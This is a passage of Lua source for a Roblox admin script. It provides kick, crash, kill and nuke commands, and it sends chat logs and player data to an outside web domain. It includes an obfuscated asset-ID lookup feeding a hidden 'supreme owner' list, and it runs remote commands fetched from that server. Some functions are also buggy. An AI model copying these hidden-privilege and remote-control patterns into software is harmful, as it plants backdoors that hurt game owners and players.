PlayerID then Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name local Data = {Name, PlayerID} table.insert(CharacterCache, Data) Return = Data end end) end return Return end function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function() if ID and #tostring(ID) >= 1 then local PlayerName = nil local Players = STRING:Scan(ID, Speaker) if #Players >= 1 then -- if player is found in server ID = Players[1].UserId elseif tonumber(ID) then local Data = CORE:GetPlayer(ID) PlayerName = Data[1] else local Data = CORE:GetPlayer(tostring(ID)) PlayerName = Data[1] ID = Data[2] end if tonumber(ID) == 20018 then -- exploding easter bunny local OldID = ID ID = 1 if Speaker then if RANK:GetRank(Speaker) == "Member" then coroutine.wrap(function() wait(1) GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10) end)() else ID = OldID end end end local Position = nil if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then if ManualPos then Position = ManualPos else Position = Player.Character.Torso.Position end end Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID wait() Player:LoadCharacter() wait() if Position then Player.Character:MoveTo(Position) end if not Perm then Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId end if NameChar and PlayerName then wait(1) CORE:ChangeName(Player, PlayerName) end end end)() end function CORE:GenerateShield(Player) if not Player then return nil end if not Player.Character then return nil end local Torso = Player.Character:FindFirstChild("Torso") if not Torso then return nil end local Shield = Player.Character:FindFirstChild("Shield") if Shield then Shield:Destroy() end Shield = Instance.new("Part", Player.Character) Shield.Name = "Shield" Shield.Locked = true Shield.CanCollide = false Shield.Size = Vector3.new(10,10,10) Shield.Shape = "Ball" Shield.Color = GUI:GetColor() Shield.Transparency = 0.5 Shield.TopSurface = "Smooth" Shield.BottomSurface = "Smooth" Shield.Anchored = true Shield.Position = Torso.Position local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true) local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false) Hum:Play() Shield.Touched:connect(function(Part) if Part.Parent ~= Server.Workspace then local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid") if Humanoid then local Char = Humanoid.Parent if Char:IsA("Model") and Humanoid.Health > 0 then if Char ~= Player.Character then Char:BreakJoints() Zap:Play() end end end end end) coroutine.wrap(function() repeat wait() Shield.CFrame = Torso.CFrame until Torso.Parent == nil or Shield.Parent == nil end)() end function CORE:FlingPlayer(Player) if Player and Player.Character then if Player.Character:FindFirstChild("Torso") then local Fling = Instance.new("BodyForce", Player.Character.Torso) Fling.Name = "Fling" Fling.force = Vector3.new(10000,10000,10000) end end end function CORE:Kick(Player, CustomMessage) if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end coroutine.wrap(function() CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage}) wait(1) Player:Kick(CustomMessage) end)() end function CORE:Crash(Player) local Parent = Player if Player:FindFirstChild("Backpack") then Parent = Player.Backpack elseif Player.Character then Parent = Player.Character end CORE:ExecuteResource("Crash", Parent) end function CORE:RestoreCamera(Player) if Player.Backpack then CORE:ExecuteResource("RestoreCamera", Player.Backpack) end end function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc) local function ScanInstance(Object) if #Object:GetChildren() > 0 then for _,Obj in pairs(Object:GetChildren()) do local IsType = false if ObjTypes and #ObjTypes > 0 then for _,ObjType in pairs(ObjTypes) do if Obj:IsA(ObjType) then IsType = true break end end else IsType = true end if IsType == true then ActiveFunc(Obj) end ScanInstance(Obj) end end end ScanInstance(BaseObj) end function CORE:AnchorPlayer(Player) if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end Player.Character.Humanoid.WalkSpeed = 0 for _,Object in pairs(Player.Character:GetChildren()) do if Object:IsA("BasePart") then Object.Anchored = true end end end function CORE:UnanchorPlayer(Player) if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end Player.Character.Humanoid.WalkSpeed = 16 for _,Object in pairs(Player.Character:GetChildren()) do if Object:IsA("BasePart") then Object.Anchored = false end end end function CORE:InvisiblePlayer(Player) if not Player or not Player.Character then return end CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end) end function CORE:VisiblePlayer(Player) if not Player or not Player.Character then return end CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end) end function CORE:Nuke(Player) coroutine.wrap(function() local Pos = CFrame.new(0,1,0) if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0) local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0) local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017" local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2) Server.Lighting.Brightness = 5 Server.Lighting.Ambient = Color3.new(1,0.5,0.5) Server.OutdoorAmbient = Color3.new(1,1,1) local Exp = Instance.new("Explosion", Server.Workspace) Exp.Position = Pos.p Exp.BlastPressure = 10000000 Exp.BlastRadius = 1000000 Exp.Hit:connect(function(Part) if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then ypcall(function() Part.Anchored = false Part.BrickColor = BrickColor.new("Black") Part.Material = "Slate" Part:BreakJoints() end) end end) local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false) BoomSound:Play() for i = 0,100,0.5 do Blast.Anchored = true Wave.Anchored = true BlastMesh.Scale = Vector3.new(i,i,i) WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5) Blast.CFrame = Pos wait() end BoomSound:Stop() Blast:Destroy() Wave:Destroy() wait() BoomSound:Destroy() for i = 10,5,-1 do Server.Lighting.Brightness = (i-5) + 1 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5) Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10) wait(0.05) end end)() end function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode) local AssetID = tonumber(AssetID) local Item = nil if AssetID then local CanInsert = true if AbuseMode then for _,ID in pairs(RemoteAbuseGear) do if AssetID == ID then CanInsert = false break end end for _,ID in pairs(Settings.AbusableGear) do if AssetID == ID then CanInsert = false break end end end if CanInsert then Item = Server.IS:LoadAsset(AssetID) if GetFirstChild then Item = Item:GetChildren()[1] if FirstChildTypes and Item then local ValidType = false for _,Type in pairs(FirstChildTypes) do if Item:IsA(Type) then ValidType = true break end end if ValidType == false then Item = nil end end end if Item and Parent then Item.Parent = Parent end end end return Item end function CORE:GivePackage(Player, PID) coroutine.wrap(function() if not Player or not Player.Character then return nil end PID = tonumber(PID) for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("CharacterMesh") then Obj:Destroy() end end if PID then if PackageCache[PID] then for _,ID in pairs(PackageCache[PID]) do CORE:Insert(ID, Player.Character, true, {"CharacterMesh"}) end else local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID) if IDsJSON then local IDs = REMOTE:Decode(IDsJSON) if IDs then if not IDs["Error"] then table.insert(PackageCache, IDs) for _,ID in pairs(IDs) do CORE:Insert(ID, Player.Character, true, {"CharacterMesh"}) end end end end end end end)() end function CORE:ChangeBet(Bet) if tostring(Bet) and Bet ~= Settings.Bet then for Index,Data in pairs(Commands) do Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet) end Settings.Bet = Bet end end function CORE:ResetLighting() ModLighting = false wait(0.2) ModLighting = true end function CORE:Fly(Player, Force) if Player and Player.Character then return CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force}) end end function CORE:GiveTools(Player, Type) if not Player or not Player:FindFirstChild("Backpack") then return nil end Type = string.lower(Type) local _,RankNum = RANK:GetRank(Player) local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588} local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"} if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then for Name,Type in pairs(BaseBuildTools) do local Tool = Instance.new("HopperBin", Player.Backpack) Tool.Name = Name Tool.BinType = Type end elseif Type == "psbtools" then for _,Tool in pairs(BuildTools) do CORE:Insert(Tool, Player.Backpack, true) end elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then if F3X then local F3X = F3X:Clone() F3X.Parent = Player.Backpack end elseif Type == "btools" then if F3X then local F3X = F3X:Clone() F3X.Parent = Player.Backpack end for Name,Type in pairs(BaseBuildTools) do local Tool = Instance.new("HopperBin", Player.Backpack) Tool.Name = Name Tool.BinType = Type end for _,Tool in pairs(BuildTools) do CORE:Insert(Tool, Player.Backpack, true) end else for _,Region in pairs(ToolRegions) do CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item) if Type == "all" then local NewItem = Item:Clone() NewItem.Parent = Player.Backpack elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then local NewItem = Item:Clone() NewItem.Parent = Player.Backpack end end) end end end function CORE:Scale(Player, ScalePercent) if not Player or not Player.Character or not tonumber(ScalePercent) then return end local Ratio = ScalePercent/100 if Ratio < 0.05 then Ratio = 0.05 end if Ratio > 100 then Ratio = 100 end if Ratio > 1 then Ratio = math.ceil(Ratio) end local Char = Player.Character local Clean = Char:FindFirstChild("Clean") if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean" local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld) local Welds = {} local Parts = {} local function Handle(Obj) if Obj:IsA("BasePart") and not JustWeld then table.insert(Parts, Obj) elseif Obj:IsA("SpecialMesh") and not JustWeld then if Obj.Name == "MML Mesh" then Obj:Destroy() end if Obj.MeshType == Enum.MeshType.FileMesh then Obj.Offset = Obj.Offset * ScaleRatio Obj.Scale = Obj.Scale * ScaleRatio elseif Ratio < 1 then Obj.Offset = Obj.Offset * ScaleRatio Obj.Scale = Obj.Scale * ScaleRatio end elseif Obj:IsA("CharacterMesh") and not JustWeld then if Ratio < 1 then local BodyPart = "" local TextureID = Obj.BaseTextureId if TextureID == 0 then TextureID = Obj.OverlayTextureId end if TextureID == 0 then TextureID = nil end if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart)) NewMesh.Name = "MML Mesh" NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio) if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end NewMesh.MeshId = "rbxassetid://"..Obj.MeshId Obj:Destroy() end elseif Obj:IsA("JointInstance") then local NewWeld = Obj:Clone() table.insert(Welds, {NewWeld, Obj.Parent}) elseif NewAdd == true and not JustWeld then if Obj:IsA("Tool") then --Cycle(Char["Right Arm"], ScaleRatio, false, true) elseif Obj:IsA("Accoutrement") then --Cycle(Char.Head, ScaleRatio, false, true) end end if #Obj:GetChildren() > 0 then for _,NewObj in pairs(Obj:GetChildren()) do Handle(NewObj, ScaleRatio) end end end Handle(BaseObj) for _,Part in pairs(Parts) do if Ratio >= 1 then Part.Size = Part.Size * ScaleRatio else local Allowed = true for _,Obj in pairs(Part:GetChildren()) do if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then Allowed = false end end if Allowed == true then local NewMesh = Instance.new("BlockMesh", Part) NewMesh.Name = "MML Mesh" NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio) end end end for _,WeldData in pairs(Welds) do if WeldData[1] then local Obj = WeldData[1] local NewWeld = Obj:Clone() NewWeld.Parent = WeldData[2] NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ()) NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ()) end end for _,Part in pairs(Parts) do Part:MakeJoints() end Welds = {} Parts = {} end Cycle(Char, Ratio) Char:MakeJoints() local Added = Char.ChildAdded:connect(function(Obj) Cycle(Obj, Ratio, NewAdd) end) local Removed = Char.ChildRemoved:connect(function(Obj) Cycle(Obj, Ratio^-1, NewAdd) end) Clean.OnInvoke = function() Added:disconnect() Removed:disconnect() local Location = Vector3.new(0,5,0) if Char:FindFirstChild("Torso") then Location = Char.Torso.Position + Vector3.new(0,2,0) end Player:LoadCharacter() wait(0.5) Player.Character:MoveTo(Location) wait(0.5) return nil end if Char:FindFirstChild("Torso") then Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3)) end if Char:FindFirstChild("Humanoid") then Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio) end if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi) end end function CORE:AddExploit(PlayerClient, Data) local PlayerClientName = PlayerClient.Name local NewData = CORE:GetTime(true, true).." @ "..Data for _,Player in pairs(Server.Players:GetChildren()) do GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5) end local ExploitLog = Server.GDS:GetAsync("ExploitLog") if type(ExploitLog) ~= "table" then Server.GDS:SetAsync("ExploitLog", {NewData}) else table.insert(ExploitLog, NewData) Server.GDS:SetAsync("ExploitLog", ExploitLog) end REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING") return true end function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker) if not tostring(Name) then Name = "Dummy" end if not Position then Position = Vector3.new(0,5,0) end if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10) end local Figure = CORE:Insert(68452456, Server.Workspace, true) Figure:MakeJoints() Figure.Head.BrickColor = BrickColor.new("Bright yellow") Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow") Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow") Figure["Left Leg"].BrickColor = BrickColor.new("Dark green") Figure["Right Leg"].BrickColor = BrickColor.new("Dark green") Figure.Torso.BrickColor = BrickColor.new("Bright blue") Figure.Name = STRING:FormatReplace(Speaker, Name) Figure:MoveTo(Position) table.insert(Objects, Figure) if DisableAnimation == true then Figure.Animate.Disabled = true end return Figure end function CORE:ClonePlayer(Player, Name, Position) if not Player or not Player.Character then return nil end Player.Character.Archivable = true local Char = Player.Character:Clone() Player.Character.Archivable = false if Name then Char.Name = STRING:FormatReplace(Player, Name) end if Position then Char:MoveTo(Position) end Char.Parent = Server.Workspace Char:MakeJoints() Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1)) table.insert(Objects, Char) return Obj end function CORE:AddWaypoint(Name, Position, Speaker) Waypoints[Name] = Position if Speaker then GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2) end end function CORE:FindType(BaseObj, Type) for _,Obj in pairs(BaseObj:GetChildren()) do if Obj:IsA(Type) then return Obj end end end function CORE:GetCommands() local CommandsCopy = Commands return CommandsCopy end function CORE:Crown(Player, Mesh, Color) if Mesh then Mesh = string.lower(Mesh) end if not Mesh or not Meshes[Mesh] then Mesh = "crown" end if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end local Part = Instance.new("Part", CrownStorage) Part.Size = Vector3.new(2, 1, 1) Part.CanCollide = false Part.CFrame = Player.Character.Head.CFrame Part.Locked = true Part.Material = "Neon" if Color then Part.Color = GUI:GetColor(Color) else Part.BrickColor = GUI:GetNameColor(Player.Name) end local SMesh = Instance.new("SpecialMesh", Part) SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1]) SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2] local BP = Instance.new("BodyPosition", Part) BP.maxForce = Vector3.new(math.huge,math.huge,math.huge) BP.position = Player.Character.Head.Position BP.P = 20000 local BG = Instance.new("BodyGyro", Part) BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge) Crowns[Player.UserId] = Part table.insert(Objects, Part) coroutine.wrap(function() for i = 1,0.3,-0.02 do if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then Part.Transparency = i end wait() end while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do for i = 0,360,3 do if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then Part.Transparency = (math.sin(math.rad(i))/10) + 0.3 wait() end end end end)() coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do Part:BreakJoints() for i = 0,360 do if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then Part.Anchored = false BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p BG.cframe = Player.Character.Head.CFrame end wait() end end end)() return Part end function CORE:SetAbuseCommands() for Cmds,Data in pairs(Commands) do local IsAbusable = false for _,AbuseCmd in pairs(Settings.AbuseList) do for _,Command in pairs(Cmds) do -- loop through all command names if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then IsAbusable = true break end end if IsAbusable == true then break end end Commands[Cmds].Abusable = IsAbusable end end -- Rank functions -- function RANK:ConvertRank(Input) local Output = nil if Input == "Muted" then Output = -3 end if Input == "Crashed" then Output = -2 end if Input == "Banned" then Output = -1 end if Input == "Non-Admin" then Output = 0 end if Input == "Member" then Output = 1 end if Input == "Admin" then Output = 2 end if Input == "Owner" then Output = 3 end if Input == -3 then Output = "Muted" end if Input == -2 then Output = "Crashed" end if Input == -1 then Output = "Banned" end if Input == 0 then Output = "Non-Admin" end if Input == 1 then Output = "Member" end if Input == 2 then Output = "Admin" end if Input == 3 then Output = "Owner" end return Output end function RANK:IsAdmin(Player) local AdminStatus = false local Rankstatus = "Non-Admin" if type(Player) == "table" then if RANK:ConvertRank(Player.Rank) > 0 then return true, Player.Rank else return false, Player.Rank end end for Rank,PlayerNames in pairs(Settings.Ranks) do for _,AdminName in pairs(PlayerNames) do if string.lower(AdminName) == string.lower(Player.Name) then if RANK:ConvertRank(Rank) > 0 then AdminStatus = true Rankstatus = Rank end end end end return AdminStatus, Rankstatus end function RANK:GetRank(PlayerName) if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end if type(PlayerName) == "table" then local RankNum = RANK:ConvertRank(PlayerName.Rank) if RankNum > 0 then return PlayerName.Rank, RankNum, true else return PlayerName.Rank, RankNum, false end end local RankStat = "Non-Admin" for Rank,PlayerNames in pairs(Settings.Ranks) do for _,AdminName in pairs(PlayerNames) do if string.lower(AdminName) == string.lower(PlayerName) then RankStat = Rank end end end if RankStat == "Non-Admin" then return "Non-Admin", 0, false else return RankStat, RANK:ConvertRank(RankStat), true end end function RANK:RemoveRank(PlayerName) if not RANK:IsSupremeOwner(PlayerName) then if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end for Rank,PlayerNames in pairs(Settings.Ranks) do for Num,AdminName in pairs(PlayerNames) do if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then table.remove(Settings.Ranks[Rank], Num) end end end end end function RANK:GetAdmins(Ranking) local Players = {} local AdminTrue, Rank = IsAdmin(Player) for _,Player in pairs(Players:GetPlayers()) do if AdminTrue then local PlayerRankNum = RANK:ConvertRank(Rank) local StandardRankNum = RANK:ConvertRank(Ranking) if PlayerRankNum >= StandardRankNum then table.insert(Players, Player) end end end return Players end function RANK:IsSupremeOwner(PlayerName) if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end if type(PlayerName) == "table" then if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end end if PlayerName == GameOwner then return true end return false end function RANK:GetPlayerFromList(PlayerName) if type(PlayerName) == "userdata" then PlayerName = Player.Name end for Rank,PlayerNames in pairs(Settings.Ranks) do for Num,AdminName in pairs(PlayerNames) do if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then return AdminName, Rank end end end return false, "Non-Admin" end function RANK:ScanAdminList(Name) if Name == "" then return true end local InList = false for _,PName in pairs(Settings.Ranks["Owner"]) do if PName == Name then InList = true end end for _,PName in pairs(Settings.Ranks["Admin"]) do if PName == Name then InList = true end end for _,PName in pairs(Settings.Ranks["Member"]) do if PName == Name then InList = true end end return InList end function RANK:ScanExileList(Name) if Name == "" then return true end local InList = false for _,PName in pairs(Settings.Ranks["Muted"]) do if PName == Name then InList = true end end for _,PName in pairs(Settings.Ranks["Crashed"]) do if PName == Name then InList = true end end for _,PName in pairs(Settings.Ranks["Banned"]) do if PName == Name then InList = true end end return InList end -- Remote functions -- function REMOTE:Decode(...) return Server.HS:JSONDecode(...) end function REMOTE:GetURL(URL, Player) if string.sub(URL,1,4) ~= "http" then URL = "http://"..URL end local Return = nil ypcall(function() Return = Server.HS:GetAsync(URL, true) end) if Return then return Return elseif Player then GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error") end end function REMOTE:PostURL(URL, Data) local Return = nil ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end) return Return end function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall) if Settings.LinkedAccount ~= "" then local NumType = tonumber(Type) if not Type then Type = "UNKNOWN" end if NumType then if NumType < 1 or NumType > 5 then Type = "UNKNOWN" elseif NumType == 1 then Type = "NOTIFICATION" elseif NumType == 2 then Type = "INFORMATION" elseif NumType == 3 then Type = "WARNING" elseif NumType == 4 or Type == true then Type = "ERROR" elseif NumType == 5 then Type = "FATAL" end end local Res = "RED Could not get response" local function SendData() Res = Server.HS:PostAsync( CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs", 2 ) end if Stopypcall == true then SendData() else ypcall(SendData) end if OutputSpeaker and OutputSpeaker ~= "print" then GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information") elseif OutputSpeaker == "print" then print(Res) end end end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55")) function REMOTE:SendChatLog(PrintResponse, Stopypall) if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then local Res = "Could not get response" local ChatJSON = Server.HS:JSONEncode(TempChatLogs) TempChatLogs = {} local function SendData() Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2) end if Stopypcall == true then SendData() else ypcall(SendData) end if PrintResponse then print(Res) end end end function REMOTE:DownloadUserdata(PrintResponse, Stopypcall) local Res = "[]" local function GetData() Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2) end if Stopypcall == true then GetData() else ypcall(GetData) end if PrintResponse then print(Res) end local function DecodeData() Res = REMOTE:Decode(Res) end if Stopypcall == true then DecodeData() else ypcall(DecodeData) end if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end return Res end function REMOTE:HandleRequest(Request, IgnoreCommand) if not Request then return nil end if not IgnoreCommand then if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then REMOTE:SendServerData() end if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true) end end if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end Settings.Fun = Request.FUN Settings.ServerLocked = Request.ServerLocked if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then Settings.DisableAbuse = Request.DisableAbuse end if not IgnoreCommand then print("Executing Remote Admin") REMOTE.RemoteAdmin.Command = Request.Command REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand REMOTE.RemoteAdmin.ServerPort = Request.Server if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true) else CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true) end end end REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp REMOTE.SnapshotKey = Request.SnapshotKey end function REMOTE:GetAndSetWebData() if Settings.LinkedAccount ~= "" then local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount) if Request == "Invalid" then --REMOTE:GetAndSetWebData() return false elseif Request == "Invalid Account" then print("Can't get account") return false elseif Request then ypcall(function() Request = REMOTE:Decode(Request) end) elseif not Request then --REMOTE:GetAndSetWebData() return false end REMOTE:HandleRequest(Request) --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData) return true end end local OderIDs = CORE:GetTable(177215518) local SoundJSONs = CORE:GetTable(197637628) RemoteAbuseGear = CORE:GetTable(158117496) function REMOTE:SendServerData(PrintResponse, Stopypall) if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then print("Sending server data!") local Res = "Could not get response" local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value} for _,Player in pairs(Server.Players:GetPlayers()) do table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)}) end ServerData = Server.HS:JSONEncode(ServerData) local function SendData() Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2) end if Stopypcall == true then SendData() else ypcall(SendData) end if PrintResponse then print(Res) end end end function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall) MaxPartAmount = MaxPartAmount or 10000 local PlaceData = { Lighting = {}; Parts = {}; Other = {}; } local MinSize = Vector3.new(0.5,0.5,0.5) local PartAmount = 0 local PlaceJSON = "" local function Scan(BaseObj) for _,Obj in pairs(BaseObj:GetChildren()) do if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)}; if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then local Skip = false local Data = {} local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ() if 